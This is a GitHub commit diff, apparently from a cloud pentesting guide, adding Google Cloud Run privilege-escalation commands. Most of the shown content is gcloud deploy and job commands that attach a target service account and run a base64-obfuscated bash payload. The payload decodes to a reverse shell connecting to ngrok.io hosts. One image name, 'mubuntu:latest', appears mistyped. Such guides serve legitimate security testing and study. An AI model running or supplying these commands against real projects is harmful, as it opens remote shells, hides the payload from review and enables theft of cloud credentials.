-
Notifications
You must be signed in to change notification settings - Fork 259
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
622d2c7
commit 3a71405
Showing
2 changed files
with
52 additions
and
4 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -36,12 +36,14 @@ Like the previous one but updating a service: | |
|
||
```bash | ||
gcloud run deploy hacked \ | ||
--image=marketplace.gcr.io/google/ubuntu2004 \ | ||
--image=ubuntu:latest \ | ||
--command=bash \ | ||
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \ | ||
--service-account="<proj-num>[email protected]" \ | ||
--region=us-central1 \ | ||
--allow-unauthenticated | ||
|
||
# If you don't have permissions to use "--allow-unauthenticated", dont use it | ||
``` | ||
|
||
### `run.services.setIamPolicy` | ||
|
@@ -52,18 +54,28 @@ Give yourself previous permissions over cloud Run. | |
|
||
Launch a job with a reverse shell to steal the service account indicated in the command. You can find an [**exploit here**](https://github.com/carlospolop/gcp\_privesc\_scripts/blob/main/tests/m-run.jobs.create.sh). | ||
|
||
```bash | ||
gcloud beta run jobs create jab-cloudrun-3326 \ | ||
--image=ubuntu:latest \ | ||
--command=bash \ | ||
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNC50Y3AuZXUubmdyb2suaW8vMTIxMzIgMD4mMQ== | base64 -d | bash" \ | ||
--service-account="<sa>@$PROJECT_ID.iam.gserviceaccount.com" \ | ||
--region=us-central1 | ||
|
||
``` | ||
|
||
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`) | ||
|
||
Similar to the previous one it's possible to **update a job and update the SA**, the **command** and **execute it**: | ||
|
||
```bash | ||
gcloud beta run jobs update hacked \ | ||
--image=marketplace.gcr.io/google/ubuntu2004 \ | ||
--image=mubuntu:latest \ | ||
--command=bash \ | ||
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \ | ||
--service-account=<proj-num>[email protected] \ | ||
--region=us-central1 \ | ||
--project=security-devbox --execute-now | ||
--execute-now | ||
``` | ||
|
||
### `run.jobs.setIamPolicy` | ||
|